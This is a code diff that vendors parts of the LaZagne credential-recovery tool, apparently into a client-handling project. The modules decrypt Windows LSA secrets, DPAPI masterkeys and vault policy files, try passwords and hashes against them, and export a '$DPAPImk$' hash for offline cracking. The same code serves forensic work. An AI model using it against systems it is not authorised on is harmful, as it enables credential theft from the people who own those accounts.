+ digest.update(entropy)
+ if strongPassword is not None:
+ strongPassword = hashlib.sha1(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
+ digest.update(strongPassword)
+ elif verifBlob is not None:
+ digest.update(verifBlob)
+ return digest.digest()
+
+
+def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None, verifBlob=None):
+ """
+ Computes the decryption key for Win7+ DPAPI blob, given the masterkey and optional information.
+
+ This implementation relies on an RFC compliant HMAC implementation
+ This algorithm is also used when checking the HMAC for integrity after decryption
+
+ :param masterkey: decrypted masterkey (should be 64 bytes long)
+ :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check)
+ :param entropy: this is the optional entropy from CryptProtectData() API
+ :param strongPassword: optional password used for decryption or the blob itself
+ :param verifBlob: optional encrypted blob used for integrity check
+ :returns: decryption key
+ :rtype : str
+ """
+ if len(masterkey) > 20:
+ masterkey = hashlib.sha1(masterkey).digest()
+
+ digest = hmac.new(masterkey, digestmod=lambda: hashlib.new(hashAlgo.name))
+ digest.update(nonce)
+ if entropy is not None:
+ digest.update(entropy)
+ if strongPassword is not None:
+ strongPassword = hashlib.sha512(strongPassword.rstrip("\x00").encode("UTF-16LE")).digest()
+ digest.update(strongPassword)
+ elif verifBlob is not None:
+ digest.update(verifBlob)
+ return digest.digest()
+
+
+def CryptDeriveKey(h, cipherAlgo, hashAlgo):
+ """
+ Internal use. Mimics the corresponding native Microsoft function
+ """
+ if len(h) > hashAlgo.blockSize:
+ h = hashlib.new(hashAlgo.name, h).digest()
+ if len(h) >= cipherAlgo.keyLength:
+ return h
+ h += b"\x00" * int(hashAlgo.blockSize)
+ ipad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x36) for i in range(int(hashAlgo.blockSize)))
+ opad = b"".join(chr_or_byte(char_to_int(h[i]) ^ 0x5c) for i in range(int(hashAlgo.blockSize)))
+ k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest()
+ k = k[:cipherAlgo.keyLength]
+ k = cipherAlgo.do_fixup_key(k)
+ return k
+
+
+def decrypt_lsa_key_nt5(lsakey, syskey):
+ """
+ This function decrypts the LSA key using the syskey
+ """
+ dg = hashlib.md5()
+ dg.update(syskey)
+ for i in xrange(1000):
+ dg.update(lsakey[60:76])
+ arcfour = RC4(dg.digest())
+ deskey = arcfour.encrypt(lsakey[12:60])
+ return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)]
+
+
+def decrypt_lsa_key_nt6(lsakey, syskey):
+ """
+ This function decrypts the LSA keys using the syskey
+ """
+ dg = hashlib.sha256()
+ dg.update(syskey)
+ for i in range(1000):
+ dg.update(lsakey[28:60])
+
+ k = AESModeOfOperationECB(dg.digest())
+ keys = b"".join([k.encrypt(lsakey[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(lsakey[60:]), AES_BLOCK_SIZE)])
+
+ size = struct.unpack_from("<L", keys)[0]
+ keys = keys[16:16 + size]
+ currentkey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[4:20])
+ nb = struct.unpack("<L", keys[24:28])[0]
+ off = 28
+ kd = {}
+ for i in range(nb):
+ g = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", keys[off:off + 16])
+ t, l = struct.unpack_from("<2L", keys[off + 16:])
+ k = keys[off + 24:off + 24 + l]
+ kd[g] = {"type": t, "key": k}
+ off += 24 + l
+ return (currentkey, kd)
+
+
+def SystemFunction005(secret, key):
+ """
+ This function is used to decrypt LSA secrets.
+ Reproduces the corresponding Windows internal function.
+ Taken from creddump project https://code.google.com/p/creddump/
+ """
+ decrypted_data = ''
+ j = 0
+ algo = CryptoAlgo(0x6603)
+ for i in range(0, len(secret), 8):
+ enc_block = secret[i:i + 8]
+ block_key = key[j:j + 7]
+ des_key = []
+ des_key.append(char_to_int(block_key[0]) >> 1)
+ des_key.append(((char_to_int(block_key[0]) & 0x01) << 6) | (char_to_int(block_key[1]) >> 2))
+ des_key.append(((char_to_int(block_key[1]) & 0x03) << 5) | (char_to_int(block_key[2]) >> 3))
+ des_key.append(((char_to_int(block_key[2]) & 0x07) << 4) | (char_to_int(block_key[3]) >> 4))
+ des_key.append(((char_to_int(block_key[3]) & 0x0F) << 3) | (char_to_int(block_key[4]) >> 5))
+ des_key.append(((char_to_int(block_key[4]) & 0x1F) << 2) | (char_to_int(block_key[5]) >> 6))
+ des_key.append(((char_to_int(block_key[5]) & 0x3F) << 1) | (char_to_int(block_key[6]) >> 7))
+ des_key.append(char_to_int(block_key[6]) & 0x7F)
+ des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key]))
+
+ decrypted_data += des(des_key, ECB).decrypt(enc_block)
+ j += 7
+ if len(key[j:j + 7]) < 7:
+ j = len(key[j:j + 7])
+ dec_data_len = struct.unpack("<L", decrypted_data[:4])[0]
+ return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_lsa_secret(secret, lsa_keys):
+ """
+ This function replaces SystemFunction005 for newer Windows
+ """
+ keyid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % struct.unpack("<L2H8B", secret[4:20])
+ if keyid not in lsa_keys:
+ return None
+ algo = struct.unpack("<L", secret[20:24])[0]
+ dg = hashlib.sha256()
+ dg.update(lsa_keys[keyid]["key"])
+ for i in xrange(1000):
+ dg.update(secret[28:60])
+
+ c = AESModeOfOperationECB(dg.digest())
+ clear = b"".join([c.encrypt(secret[60:][i:i + AES_BLOCK_SIZE]) for i in range(0, len(secret[60:]), AES_BLOCK_SIZE)])
+
+ size = struct.unpack_from("<L", clear)[0]
+ return clear[16:16 + size]
+
+
+def pbkdf2(passphrase, salt, keylen, iterations, digest='sha1'):
+ """
+ Implementation of PBKDF2 that allows specifying digest algorithm.
+ Returns the corresponding expanded key which is keylen long.
+ """
+ buff = b""
+ i = 1
+ while len(buff) < keylen:
+ U = salt + struct.pack("!L", i)
+ i += 1
+ derived = hmac.new(passphrase, U, digestmod=lambda: hashlib.new(digest)).digest()
+ for r in xrange(iterations - 1):
+ actual = hmac.new(passphrase, derived, digestmod=lambda: hashlib.new(digest)).digest()
+ tmp = b''
+ for x, y in zip(derived, actual):
+ if sys.version_info > (3, 0):
+ tmp += struct.pack(">B", x ^ y)
+ else:
+ tmp += chr(char_to_int(x) ^ char_to_int(y))
+ derived = tmp
+ buff += derived
+ return buff[:int(keylen)]
+
+
+def derivePwdHash(pwdhash, sid, digest='sha1'):
+ """
+ Internal use. Computes the encryption key from a user's password hash
+ """
+ return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest()
+
+
+def dataDecrypt(cipherAlgo, hashAlgo, raw, encKey, iv, rounds):
+ """
+ Internal use. Decrypts data stored in DPAPI structures.
+ """
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ derived = pbkdf2(encKey, iv, cipherAlgo.keyLength + cipherAlgo.ivLength, rounds, hname)
+ key, iv = derived[:int(cipherAlgo.keyLength)], derived[int(cipherAlgo.keyLength):]
+ key = key[:int(cipherAlgo.keyLength)]
+ iv = iv[:int(cipherAlgo.ivLength)]
+
+ if "AES" in cipherAlgo.name:
+ cipher = AESModeOfOperationCBC(key, iv=iv)
+ cleartxt = b"".join([cipher.decrypt(raw[i:i + AES_BLOCK_SIZE]) for i in range(0, len(raw), AES_BLOCK_SIZE)])
+ else:
+ cipher = cipherAlgo.module(key, CBC, iv)
+ cleartxt = cipher.decrypt(raw)
+ return cleartxt
+
+
+def DPAPIHmac(hashAlgo, pwdhash, hmacSalt, value):
+ """
+ Internal function used to compute HMACs of DPAPI structures
+ """
+ hname = {"HMAC": "sha1"}.get(hashAlgo.name, hashAlgo.name)
+ encKey = hmac.new(pwdhash, digestmod=lambda: hashlib.new(hname))
+ encKey.update(hmacSalt)
+ encKey = encKey.digest()
+ rv = hmac.new(encKey, digestmod=lambda: hashlib.new(hname))
+ rv.update(value)
+ return rv.digest()
diff --git a/foreign/client_handling/lazagne/config/DPAPI/eater.py b/foreign/client_handling/lazagne/config/DPAPI/eater.py
new file mode 100644
index 0000000..cadb13f
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/eater.py
@@ -0,0 +1,128 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+#############################################################################
+## ##
+## This file is part of DPAPIck ##
+## Windows DPAPI decryption & forensic toolkit ##
+## ##
+## ##
+## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ##
+## This document is the property of Cassidian SAS, it may not be copied or ##
+## circulated without prior licence ##
+## ##
+## Author: Jean-Michel Picod <jmichel.p@gmail.com> ##
+## ##
+## This program is distributed under GPLv3 licence (see LICENCE.txt) ##
+## ##
+#############################################################################
+
+import struct
+
+
+class Eater(object):
+ """This class is a helper for parsing binary structures."""
+
+ def __init__(self, raw, offset=0, end=None, endianness="<"):
+ self.raw = raw
+ self.ofs = offset
+ if end is None:
+ end = len(raw)
+ self.end = end
+ self.endianness = endianness
+
+ def prepare_fmt(self, fmt):
+ """Internal use. Prepend endianness to the given format if it is not
+ already specified.
+
+ fmt is a format string for struct.unpack()
+
+ Returns a tuple of the format string and the corresponding data size.
+
+ """
+ if fmt[0] not in ["<", ">", "!", "@"]:
+ fmt = self.endianness+fmt
+ return fmt, struct.calcsize(fmt)
+
+ def read(self, fmt):
+ """Parses data with the given format string without taking away bytes.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def eat(self, fmt):
+ """Parses data with the given format string.
+
+ Returns an array of elements or just one element depending on fmt.
+
+ """
+ fmt, sz = self.prepare_fmt(fmt)
+ v = struct.unpack_from(fmt, self.raw, self.ofs)
+ if len(v) == 1:
+ v = v[0]
+ self.ofs += sz
+ return v
+
+ def eat_string(self, length):
+ """Eats and returns a string of length characters"""
+ return self.eat("%us" % length)
+
+ def eat_length_and_string(self, fmt):
+ """Eats and returns a string which length is obtained after eating
+ an integer represented by fmt
+
+ """
+ l = self.eat(fmt)
+ return self.eat_string(l)
+
+ def pop(self, fmt):
+ """Eats a structure represented by fmt from the end of raw data"""
+ fmt, sz = self.prepare_fmt(fmt)
+ self.end -= sz
+ v = struct.unpack_from(fmt, self.raw, self.end)
+ if len(v) == 1:
+ v = v[0]
+ return v
+
+ def pop_string(self, length):
+ """Pops and returns a string of length characters"""
+ return self.pop("%us" % length)
+
+ def pop_length_and_string(self, fmt):
+ """Pops and returns a string which length is obtained after poping an
+ integer represented by fmt.
+
+ """
+ l = self.pop(fmt)
+ return self.pop_string(l)
+
+ def remain(self):
+ """Returns all the bytes that have not been eated nor poped yet."""
+ return self.raw[self.ofs:self.end]
+
+ def eat_sub(self, length):
+ """Eats a sub-structure that is contained in the next length bytes"""
+ sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness)
+ self.ofs += length
+ return sub
+
+ def __nonzero__(self):
+ return self.ofs < self.end
+
+
+class DataStruct(object):
+ """Don't use this class unless you know what you are doing!"""
+
+ def __init__(self, raw=None):
+ if raw is not None:
+ self.parse(Eater(raw, endianness="<"))
+
+ def parse(self, eater_obj):
+ raise NotImplementedError("This function must be implemented in subclasses")
+
diff --git a/foreign/client_handling/lazagne/config/DPAPI/masterkey.py b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py
new file mode 100644
index 0000000..1ee59d0
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/masterkey.py
@@ -0,0 +1,445 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from . import crypto
+from .credhist import CredHistFile
+from .system import CredSystem
+from .eater import DataStruct, Eater
+from collections import defaultdict
+
+import codecs
+import hashlib
+import struct
+import os
+
+
+class MasterKey(DataStruct):
+ """
+ This class represents a MasterKey block contained in a MasterKeyFile
+ """
+
+ def __init__(self, raw=None):
+ self.decrypted = False
+ self.key = None
+ self.key_hash = None
+ self.hmacSalt = None
+ self.hmac = None
+ self.hmacComputed = None
+ self.cipherAlgo = None
+ self.hashAlgo = None
+ self.rounds = None
+ self.iv = None
+ self.version = None
+ self.ciphertext = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.iv = data.eat("16s")
+ self.rounds = data.eat("L")
+ self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))
+ self.ciphertext = data.remain()
+
+ def decrypt_with_hash(self, sid, pwdhash):
+ """
+ Decrypts the masterkey with the given user's hash and SID.
+ Simply computes the corresponding key then calls self.decrypt_with_key()
+ """
+ self.decrypt_with_key(crypto.derivePwdHash(pwdhash=pwdhash, sid=sid))
+
+ def decrypt_with_password(self, sid, pwd):
+ """
+ Decrypts the masterkey with the given user's password and SID.
+ Simply computes the corresponding key, then calls self.decrypt_with_hash()
+ """
+ try:
+ pwd = pwd.encode("UTF-16LE")
+ except Exception:
+ return
+
+ for algo in ["sha1", "md4"]:
+ self.decrypt_with_hash(sid=sid, pwdhash=hashlib.new(algo, pwd).digest())
+ if self.decrypted:
+ break
+
+ def decrypt_with_key(self, pwdhash):
+ """
+ Decrypts the masterkey with the given encryption key.
+ This function also extracts the HMAC part of the decrypted stuff and compare it with the computed one.
+ Note that, once successfully decrypted, the masterkey will not be decrypted anymore; this function will simply return.
+ """
+ if self.decrypted or not pwdhash:
+ return
+
+ # Compute encryption key
+ cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.ciphertext, pwdhash, self.iv,
+ self.rounds)
+ self.key = cleartxt[-64:]
+ hmacSalt = cleartxt[:16]
+ hmac = cleartxt[16:16 + int(self.hashAlgo.digestLength)]
+ hmacComputed = crypto.DPAPIHmac(self.hashAlgo, pwdhash, hmacSalt, self.key)
+ self.decrypted = hmac == hmacComputed
+ if self.decrypted:
+ self.key_hash = hashlib.sha1(self.key).digest()
+
+
+class CredHist(DataStruct):
+ """This class represents a Credhist block contained in the MasterKeyFile"""
+
+ def __init__(self, raw=None):
+ self.version = None
+ self.guid = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B")
+
+
+class DomainKey(DataStruct):
+ """This class represents a DomainKey block contained in the MasterKeyFile.
+
+ Currently does nothing more than parsing. Work on Active Directory stuff is
+ still on progress.
+
+ """
+
+ def __init__(self, raw=None):
+ self.version = None
+ self.secretLen = None
+ self.accesscheckLen = None
+ self.guidKey = None
+ self.encryptedSecret = None
+ self.accessCheck = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.secretLen = data.eat("L")
+ self.accesscheckLen = data.eat("L")
+ self.guidKey = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.encryptedSecret = data.eat("%us" % self.secretLen)
+ self.accessCheck = data.eat("%us" % self.accesscheckLen)
+
+
+class MasterKeyFile(DataStruct):
+ """
+ This class represents a masterkey file.
+ """
+
+ def __init__(self, raw=None):
+ self.masterkey = None
+ self.backupkey = None
+ self.credhist = None
+ self.domainkey = None
+ self.decrypted = False
+ self.version = None
+ self.guid = None
+ self.policy = None
+ self.masterkeyLen = self.backupkeyLen = self.credhistLen = self.domainkeyLen = 0
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ data.eat("2L")
+ self.guid = data.eat("72s").decode("UTF-16LE").encode("utf-8")
+ data.eat("2L")
+ self.policy = data.eat("L")
+ self.masterkeyLen = data.eat("Q")
+ self.backupkeyLen = data.eat("Q")
+ self.credhistLen = data.eat("Q")
+ self.domainkeyLen = data.eat("Q")
+
+ if self.masterkeyLen > 0:
+ self.masterkey = MasterKey()
+ self.masterkey.parse(data.eat_sub(self.masterkeyLen))
+ if self.backupkeyLen > 0:
+ self.backupkey = MasterKey()
+ self.backupkey.parse(data.eat_sub(self.backupkeyLen))
+ if self.credhistLen > 0:
+ self.credhist = CredHist()
+ self.credhist.parse(data.eat_sub(self.credhistLen))
+ if self.domainkeyLen > 0:
+ self.domainkey = DomainKey()
+ self.domainkey.parse(data.eat_sub(self.domainkeyLen))
+
+ def get_key(self):
+ """
+ Returns the first decrypted block between Masterkey and BackupKey.
+ If none has been decrypted, returns the Masterkey block.
+ """
+ if self.masterkey.decrypted:
+ return self.masterkey.key or self.masterkey.key_hash
+ elif self.backupkey.decrypted:
+ return self.backupkey.key
+ return self.masterkey.key
+
+ def jhash(self, sid=None, context='local'):
+ """
+ Compute the hash used to be bruteforced.
+ From the masterkey field of the mk file => mk variable.
+ """
+ if 'des3' in str(self.masterkey.cipherAlgo).lower() and 'hmac' in str(self.masterkey.hashAlgo).lower():
+ version = 1
+ hmac_algo = 'sha1'
+ cipher_algo = 'des3'
+
+ elif 'aes-256' in str(self.masterkey.cipherAlgo).lower() and 'sha512' in str(self.masterkey.hashAlgo).lower():
+ version = 2
+ hmac_algo = 'sha512'
+ cipher_algo = 'aes256'
+
+ else:
+ return 'Unsupported combination of cipher {cipher_algo} and hash algorithm {algo} found!'.format(
+ cipher_algo=self.masterkey.cipherAlgo, algo=self.masterkey.hashAlgo)
+
+ context_int = 0
+ if context == "domain":
+ context_int = 2
+ elif context == "local":
+ context_int = 1
+
+ return '$DPAPImk${version}*{context}*{sid}*{cipher_algo}*{hmac_algo}*{rounds}*{iv}*{size}*{ciphertext}'.format(
+ version=version,
+ context=context_int,
+ sid=sid,
+ cipher_algo=cipher_algo,
+ hmac_algo=hmac_algo,
+ rounds=self.masterkey.rounds,
+ iv=self.masterkey.iv.encode("hex"),
+ size=len(self.masterkey.ciphertext.encode("hex")),
+ ciphertext=self.masterkey.ciphertext.encode("hex")
+ )
+
+
+class MasterKeyPool(object):
+ """
+ This class is the pivot for using DPAPIck.
+ It manages all the DPAPI structures and contains all the decryption intelligence.
+ """
+
+ def __init__(self):
+ self.keys = defaultdict(
+ lambda: {
+ 'password': None, # contains cleartext password
+ 'mkf': [], # contains the masterkey file object
+ }
+ )
+ self.mkfiles = []
+ self.credhists = {}
+ self.mk_dir = None
+ self.nb_mkf = 0
+ self.nb_mkf_decrypted = 0
+ self.preferred_guid = None
+ self.system = None
+
+ def add_master_key(self, mkey):
+ """
+ Add a MasterKeyFile is the pool.
+ mkey is a string representing the content of the file to add.
+ """
+ mkf = MasterKeyFile(mkey)
+ self.keys[mkf.guid]['mkf'].append(mkf)
+
+ # Store mkfile object
+ self.mkfiles.append(mkf) # TO DO000000 => use only self.keys variable
+
+ def load_directory(self, directory):
+ """
+ Adds every masterkey contained in the given directory to the pool.
+ """
+ if os.path.exists(directory):
+ self.mk_dir = directory
+ for k in os.listdir(directory):
+ try:
+ with open(os.path.join(directory, k), 'rb') as f:
+ self.add_master_key(f.read())
+ self.nb_mkf += 1
+ except Exception:
+ pass
+ return True
+ return False
+
+ def get_master_keys(self, guid):
+ """
+ Returns an array of Masterkeys corresponding to the given GUID.
+ """
+ return self.keys.get(guid, {}).get('mkf')
+
+ def get_password(self, guid):
+ """
+ Returns the password found corresponding to the given GUID.
+ """
+ return self.keys.get(guid, {}).get('password')
+
+ def add_credhist_file(self, sid, credfile):
+ """
+ Adds a Credhist file to the pool.
+ """
+ if os.path.exists(credfile):
+ try:
+ with open(credfile) as f:
+ self.credhists[sid] = CredHistFile(f.read())
+ except Exception:
+ pass
+
+ def get_preferred_guid(self):
+ """
+ Extract from the Preferred file the associated GUID.
+ This guid represent the preferred masterkey used by the system.
+ This means that it has been encrypted using the current password not an older one.
+ """
+ if self.preferred_guid:
+ return self.preferred_guid
+
+ if self.mk_dir:
+ preferred_file = os.path.join(self.mk_dir, u'Preferred')
+ if os.path.exists(preferred_file):
+ with open(preferred_file, 'rb') as pfile:
+ GUID1 = pfile.read(8)
+ GUID2 = pfile.read(8)
+
+ GUID = struct.unpack("<LHH", GUID1)
+ GUID2 = struct.unpack(">HLH", GUID2)
+ self.preferred_guid = "%s-%s-%s-%s-%s%s" % (
+ format(GUID[0], '08x'), format(GUID[1], '04x'), format(GUID[2], '04x'), format(GUID2[0], '04x'),
+ format(GUID2[1], '08x'), format(GUID2[2], '04x'))
+ return self.preferred_guid
+
+ return False
+
+ def get_cleartext_password(self, guid=None):
+ """
+ Get cleartext password if already found of the associated guid.
+ If not guid specify, return the associated password of the preferred guid.
+ """
+ if not guid:
+ guid = self.get_preferred_guid()
+
+ if guid:
+ return self.get_password(guid)
+
+ def get_dpapi_hash(self, sid, context='local'):
+ """
+ Extract the DPAPI hash corresponding to the user's password to be able to bruteforce it using john or hashcat.
+ No admin privilege are required to extract it.
+ :param context: expect local or domain depending of the windows environment.
+ """
+
+ self.get_preferred_guid()
+
+ for mkf in self.mkfiles:
+ if self.preferred_guid == mkf.guid:
+ return mkf.jhash(sid=sid, context=context)
+
+ def add_system_credential(self, blob):
+ """
+ Adds DPAPI_SYSTEM token to the pool.
+ blob is a string representing the LSA secret token
+ """
+ self.system = CredSystem(blob)
+
+ def try_credential(self, sid, password=None):
+ """
+ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
+ Should be called as a generator (ex: for r in try_credential(sid, password))
+ """
+
+ # All master key files have not been already decrypted
+ if self.nb_mkf_decrypted != self.nb_mkf:
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ if mk:
+ mk.decrypt_with_password(sid, password)
+ if not mk.decrypted and self.credhists.get(sid) is not None:
+ # Try using credhist file
+ self.credhists[sid].decrypt_with_password(password)
+ for credhist in self.credhists[sid].entries_list:
+ mk.decrypt_with_hash(sid, credhist.pwdhash)
+ if credhist.ntlm is not None and not mk.decrypted:
+ mk.decrypt_with_hash(sid, credhist.ntlm)
+
+ if mk.decrypted:
+ yield u'masterkey {masterkey} decrypted using credhists key'.format(
+ masterkey=mk.guid.decode())
+ self.credhists[sid].valid = True
+
+ if mk.decrypted:
+ # Save the password found
+ self.keys[mkf.guid]['password'] = password
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+
+ yield True, u'{password} ok for masterkey {masterkey}'.format(password=password,
+ masterkey=mkf.guid.decode())
+
+ else:
+ yield False, u'{password} not ok for masterkey {masterkey}'.format(password=password,
+ masterkey=mkf.guid.decode())
+
+ def try_credential_hash(self, sid, pwdhash=None):
+ """
+ This function tries to decrypt every masterkey contained in the pool that has not been successfully decrypted yet with the given password and SID.
+ Should be called as a generator (ex: for r in try_credential_hash(sid, pwdhash))
+ """
+
+ # All master key files have not been already decrypted
+ if self.nb_mkf_decrypted != self.nb_mkf:
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ mk.decrypt_with_hash(sid, pwdhash)
+ if not mk.decrypted and self.credhists.get(sid) is not None:
+ # Try using credhist file
+ self.credhists[sid].decrypt_with_hash(pwdhash)
+ for credhist in self.credhists[sid].entries_list:
+ mk.decrypt_with_hash(sid, credhist.pwdhash)
+ if credhist.ntlm is not None and not mk.decrypted:
+ mk.decrypt_with_hash(sid, credhist.ntlm)
+
+ if mk.decrypted:
+ yield True, u'masterkey {masterkey} decrypted using credhists key'.format(
+ masterkey=mk.guid)
+ self.credhists[sid].valid = True
+ break
+
+ if mk.decrypted:
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+ yield True, u'{hash} ok for masterkey {masterkey}'.format(hash=codecs.encode(pwdhash, 'hex').decode(),
+ masterkey=mkf.guid.decode())
+ else:
+ yield False, u'{hash} not ok for masterkey {masterkey}'.format(
+ hash=codecs.encode(pwdhash, 'hex').decode(), masterkey=mkf.guid.decode())
+
+ def try_system_credential(self):
+ """
+ Decrypt masterkey files from the system user using DPAPI_SYSTEM creds as key
+ Should be called as a generator (ex: for r in try_system_credential())
+ """
+ for guid in self.keys:
+ for mkf in self.keys[guid].get('mkf', ''):
+ if not mkf.decrypted:
+ mk = mkf.masterkey
+ mk.decrypt_with_key(self.system.user)
+ if not mk.decrypted:
+ mk.decrypt_with_key(self.system.machine)
+
+ if mk.decrypted:
+ mkf.decrypted = True
+ self.nb_mkf_decrypted += 1
+
+ yield True, u'System masterkey decrypted for {masterkey}'.format(masterkey=mkf.guid.decode())
+ else:
+ yield False, u'System masterkey not decrypted for masterkey {masterkey}'.format(
+ masterkey=mkf.guid.decode())
diff --git a/foreign/client_handling/lazagne/config/DPAPI/system.py b/foreign/client_handling/lazagne/config/DPAPI/system.py
new file mode 100644
index 0000000..aaf53f8
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/system.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+from .eater import DataStruct
+
+
+class CredSystem(DataStruct):
+ """
+ This represents the DPAPI_SYSTEM token which is stored as an LSA secret.
+
+ Sets 2 properties:
+ self.machine
+ self.user
+ """
+
+ def __init__(self, raw=None):
+ self.revision = None
+ self.machine = None
+ self.user = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ """Parses the given data. May raise exceptions if incorrect data are
+ given. You should not call this function yourself; DataStruct does
+
+ data is a DataStruct object.
+ Returns nothing.
+
+ """
+ self.revision = data.eat("L")
+ self.machine = data.eat("20s")
+ self.user = data.eat("20s")
diff --git a/foreign/client_handling/lazagne/config/DPAPI/vault.py b/foreign/client_handling/lazagne/config/DPAPI/vault.py
new file mode 100644
index 0000000..d758443
--- /dev/null
+++ b/foreign/client_handling/lazagne/config/DPAPI/vault.py
@@ -0,0 +1,489 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+"""
+Code based from these two awesome projects:
+- DPAPICK : https://bitbucket.org/jmichel/dpapick
+- DPAPILAB : https://github.com/dfirfpi/dpapilab
+"""
+
+import struct
+
+from .blob import DPAPIBlob
+from .eater import DataStruct, Eater
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+import os
+
+AES_BLOCK_SIZE = 16
+
+# ===============================================================================
+# VAULT POLICY file structs
+# ===============================================================================
+
+
+class VaultPolicyKey(DataStruct):
+ """
+ Structure containing the AES key used to decrypt the vcrd files
+ """
+ def __init__(self, raw=None):
+ # self.size = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.dwMagic = None
+ self.dwVersion = None
+ self.cbKeyData = None
+ self.key = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ # self.size = data.eat("L")
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.dwMagic = data.eat("L") # Constant: 0x4d42444b
+ self.dwVersion = data.eat("L")
+ self.cbKeyData = data.eat("L")
+ if self.cbKeyData > 0:
+ # self.key = data.eat_sub(self.cbKeyData)
+ self.key = data.eat(str(self.cbKeyData) + "s")
+
+
+
+class VaultPolicyKeys(DataStruct):
+ """
+ Structure containing two AES keys used to decrypt the vcrd files
+ - First key is an AES 128
+ - Second key is an AES 256
+ """
+ def __init__(self, raw=None):
+ self.vpol_key1_size = None
+ self.vpol_key1 = None
+ self.vpol_key2_size = None
+ self.vpol_key2 = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.vpol_key1_size = data.eat("L")
+ if self.vpol_key1_size > 0:
+ self.vpol_key1 = VaultPolicyKey()
+ self.vpol_key1.parse(data.eat_sub(self.vpol_key1_size))
+
+ self.vpol_key2_size = data.eat("L")
+ if self.vpol_key2_size > 0:
+ self.vpol_key2 = VaultPolicyKey()
+ self.vpol_key2.parse(data.eat_sub(self.vpol_key2_size))
+
+
+class VaultPolicy(DataStruct):
+ """
+ Policy.vpol file is a DPAPI blob with an header containing a textual description
+ and a GUID that should match the Vault folder name
+ Once the blob is decrypted, we get two AES keys to be used in decrypting the vcrd files.
+ """
+ def __init__(self, raw=None):
+ self.version = None
+ self.guid = None
+ self.description = None
+ self.unknown1 = None
+ self.unknown2 = None
+ self.unknown3 = None
+ # VPOL_STORE
+ self.size = None
+ self.unknown4 = None
+ self.unknown5 = None
+ # DPAPI_BLOB_STORE
+ self.blob_store_size = None
+ self.blob_store_raw = None
+ DataStruct.__init__(self, raw)
+
+ def parse(self, data):
+ self.version = data.eat("L")
+ self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.description = data.eat_length_and_string("L").decode("UTF-16LE").encode("utf-8") # Unicode
+ self.unknown1 = data.eat("L")
+ self.unknown2 = data.eat("L")
+ self.unknown3 = data.eat("L")
+ # VPOL_STORE
+ self.size = data.eat("L")
+ self.unknown4 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ self.unknown5 = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") # data.eat("16s")
+ # DPAPI_BLOB_STORE
+ self.blob_store_size = data.eat("L")
